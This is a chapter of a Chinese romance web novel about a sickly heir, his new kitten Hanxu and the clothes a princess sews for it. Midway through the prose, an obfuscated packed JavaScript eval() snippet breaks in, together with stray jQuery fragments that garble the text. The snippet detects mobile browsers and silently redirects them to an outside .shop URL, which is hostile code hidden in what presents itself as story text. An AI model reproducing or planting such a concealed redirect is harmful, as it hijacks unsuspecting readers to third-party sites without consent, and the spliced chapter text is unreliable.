文趣网 > 其他小说 > 病弱世子娇养手札 > 17. 狸奴
    又过了几日,林太医总算回来当值,还替她带了封信来。

    裴昭宁不能出宫,为避人耳目,也不好多与殷珩通信。

    拿到这信,迫不及待地拆开来。

    信上的话不算多,只是告诉她冬桃很好吃,又说自己院子里跑来一只小狸奴,他已经决定要养它,让裴昭宁给它取个名字。

    第二张信纸上附了狸奴的画像。

    倒是巧了,和他上回随手一画那个有七八分相似。

    裴昭宁忍不住笑起来,思索了下,看见窗外的雪,脑中立刻浮现出寒酥二字。

    前儿些日子好不容易回暖了些,哪曾想这两天又开始下起雪来。

    连裴昭宁都觉得有些冷,待在屋中不肯挪步,自然也想到了殷珩,问起林太医:“他身子如何了,可有好些?”

    林太医端着茶盏的手微微一顿,掩饰般饮了一口:“倒是好些了,这几日倒是肯好好吃饭用药了。”

    他心觉这话也不算骗裴昭宁。

    殷珩这两日没再反反复复高热,也能吃得下去点东西,瞧着确实比前些天好些了。

    前些天他被宁国公府的人请上门时,看着殷珩烧得人事不省的模样都觉得有些心惊。

    心疾最忌讳高热。

    偏偏他那几天怎么也退不下去热,人昏昏沉沉的,药也喂不进去,就算灌下去了,过不了一会儿,便要全吐出来。

    整个人瘦得形销骨立。

    又因着心口一直不大舒服,便也平躺不得,几个软枕堆叠着,勉强托着身子,显得愈发不成样子。

    林太医自认自己见惯了病患,心硬如铁,看他那般模样,都险些落泪。

    以至于殷珩稍好转后,听闻他要回宫,央求他不要告诉裴昭宁时,脑子一热,竟也答应了下来。

    裴昭宁没察觉出他的异样,闻言高高兴兴道:“烦请您下回出宫时替我也带封信带给他。”

    裴昭宁说着,想到日后免不了多麻烦林太医,便又叫清荷取来一匣金子。

    林太医抱着手中沉甸甸的匣子,更是愧疚,茶都没喝完,就借口跑了。

    好在裴昭宁的心思全在信上勾画出的小狸奴身上,见他走了,便叫人取了库房中的几匹布料出来。

    想给还没见面的寒酥做几身衣裳。

    反正这几日她宫中的人手上的事也少,几个姑娘都进了内间,听闻郡主要给小狸奴做衣裳,便问起那狸奴有多大。

    裴昭宁想起信中所说:“两个多月吧。”

    姑娘们说说笑笑着估摸两个多月的小猫究竟有多大,很快就将布料裁了出来。

    裴昭宁女红向来不行,也懒得做这些。

    只是这会儿见她们叽叽喳喳说着怎么缝好看,便也来了兴致。

    拿着块布料,也想给做个圆领的袍子给它。

    她记得殷珩有很多这个颜色款式的衣裳,脑中想象了一下一人一猫穿得一样站在她跟前的样子,便也忍不住笑。

    不过她想得很好,手却不知道该怎么动。

    清荷凑过来问她想做什么样的。

    她大概描述了下,清荷略微想了想,又问了另外一个圆脸的丫鬟几句,两人很快将绣样描出来。

    她身边的丫鬟,大多都是明德帝叫人选的。

    个个都是十八般武艺样样精通的能人,这种小事对她们来说自然不在话下。

    绣样描好后,见她当真是想亲自动手,便又认真教起她来。

    可惜裴昭宁在此事上实在没什么天份,好几日才勘勘绣好。

    虽然针脚有些歪歪扭扭。

    她自个儿瞧着还算满意,特意又找了块小金锁出来,配成一套。

    不过也是凑巧,正好轮到林太医休沐的日子。

    想着那匣金子,林太医下了值就往宁国公府去。

    “林太医?”

    空青见了他还有点惊讶,忙将人迎了进去。

    “我来给你们世子爷送东西。”

    林太医笑眯眯一捋胡须。

    空青看向他的侍从手上拿着的包袱。

    正想着,林太医已经走进屋中。

    殷珩被他严令卧床休养,这会儿斜倚在枕间,握着本书,百无聊赖翻着。

    林太医眼底闪过一丝笑意,轻咳了声:“世子爷这几日的药可有按时用过?”

    空青应道:“都有按时服用。”

    他又问起殷珩这几日身子如何,可还有发热过。

    说来说去,就是没提起侍从手中的那个包袱。

    眼看着他要叫来府医细问,殷珩终于忍不住道:“你不是来送东西给我的吗?”

    林太医嘴角咧开,又强忍住:“哦对,杜仲,将我才做好的那养心丸拿来。”

    那侍从连忙取出一个小匣子递过来。

    “喏,我添了两味药材进去,先前那个就不用了。”

    他入冬以来,心疾发作的频繁,之前的药效用已经不大好了。

    林太医前些日子就在念叨着要重新做些来。

    殷珩看着空青收下,眉心轻拧着,抿了抿唇。

    林太医悄悄别过脸去,故作严肃道:“这药也送了,那我就先回去了。”

    说着就要起身。

    “等等。”

    殷珩终于忍不住,手撑着榻沿,欲要起身,胸口忽然一阵刺痛,忍不住咳嗽起来。

    空青扶住他:“爷,您慢点。”

    将人逗得过了头。

    林太医有点心虚,握住他手臂,在他列缺穴那儿按着。

    殷珩渐渐缓过来。

    接过侍从手中的茶盏,饮了小口。

    脸色隐隐有些发白。

    林太医也松了口气,坐了回去,摇摇头:“瞧你这脾气。”

    殷珩还有什么不明白,身子放松下来,往后靠在软枕上,斜睨了他一眼。

    林太医不敢再逗他,从杜仲手中拿过那包袱,将人打发了出去。

    “喏,你心心念念的东西。”

    他又从怀中摸出一封信来,“这也是你的。”

    殷珩嘴角轻轻弯起,先拆开了那封信

    林太医很没有眼色的坐在那儿。

    见他眉眼含笑,与方才截然不同的模样,忍不住啧啧两声。

    殷珩没理他,看完了信,折好收起来后,又打开了那包袱。

    几件小衣裳被他展开。

    “这是…给你那小狸奴做的?”

    林太医上回来也见过才被他收养的那只小狸奴,脾气坏得不行,他摸一下都不让。

    不过确实很漂亮。

    以至于下人一抱过来,林太医便忘了上回的教训,蠢蠢欲动地伸出手。

    啪。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637749|206370||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>雪白的爪子一下拍在他手背上,小狸奴眯着眼睛,脑袋高昂着,颇有些嫌弃的模样。

    林太医撇嘴。

    这脾气倒是像极了某人。

    “寒酥,过来。”

    殷珩轻轻一招手。

    狸奴歪了歪脑袋,眼睛慢慢睁圆了。

    有点不解的样子,却还是迈着步子,优雅地走到殷珩手边,然后脑袋在他手臂上蹭了蹭。

    “寒酥。”

    殷珩又轻轻重复了一遍,嘴角轻轻勾起。

    寒酥似乎也知道了这是自己的名字,“喵”了声。

    林太医酸道:“它怎么就认得你,你也不见得养了它几天啊。”

    殷珩抱起寒酥,捋捋它的毛。

    寒酥舒服得喉间发出咕噜咕噜声。

    空青小心翼翼拿着衣裳给它套上。

    寒酥被殷珩抱着,也没反抗,只是不太习惯身上套着东西,懒洋洋甩了甩脑袋。

    嫩黄色短比甲,配着粉色的马面裙,衬着雪白的毛发,显得很是漂亮。

    “这料子可真好,颜色也衬它。”

    寒酥抬起的爪子忽然一顿,高昂着头。

    “还能听懂我说话呢,怎么就不能让我摸一下了。”

    林太医碎碎念着,看了看那堆衣裳,眼睛忽然一亮。

    “哟,还有个小金锁呢。”

    林太医摸摸小金锁,又拿起下面那件红色的曳撒,展开一瞧,忍俊不禁道:“这件曳撒倒是做得好。”

    虽然衣袖的长短有点不太齐,不过这件衣裳和这金锁,倒叫他想起一人来。

    他看了眼殷珩。

    殷珩看着他手中那件小衣裳,忽然伸手拿过来。

    看了片刻,忽然哼道。

    “她倒是有闲心。”

    给寒酥做衣裳,却什么都不给他。

    他就只有那方手帕。

    还是她自个儿不要,想要扔掉,被他收了去。

    殷珩轻轻一戳寒酥的脑袋,和空青道:“今晚让人多给它加点肉。”

    林太医此刻也琢磨出点意思来,咂舌道:“你不回是想它胖到穿不下这衣裳吧。”

    殷珩冷冷看了他一眼。

    林太医心中感叹,这可真够小心眼的。

    *

    “郡主,殷将军又送了东西来,是云酥坊的…栗子糕。”

    清荷心里悄悄翻了个白眼。

    难怪郡主从前那般喜欢殷将军,最后还是选了世子爷。

    任谁剃头担子一头热,想必都会心冷。

    郡主认识他这般久了,两人名义上也定了婚,他送东西来讨郡主欢心,却连郡主喜欢吃什么不喜欢吃什么都不知道。

    裴昭宁闻言有点烦,摆摆手:“你们拿去分了吧,日后他再送什么来你看着办就好,能分的你们自个儿分了就行。”

    清荷应了声好。

    裴昭宁将手中的九连环一放。

    皇伯伯不知怎么教训了殷时,殷时这段时日常常往她宫中送东西来,多是些吃食,裴昭宁没办法回绝,全都进了长乐殿下人的肚子里。

    虽然只是在她耳边过一句的事,却仍是叫人不大高兴。

    尤其是她这些日子不能出宫,本就心烦。

    皇伯伯常召她去,可无论她怎么撒娇撒痴,就是不肯松口让她出宫去玩。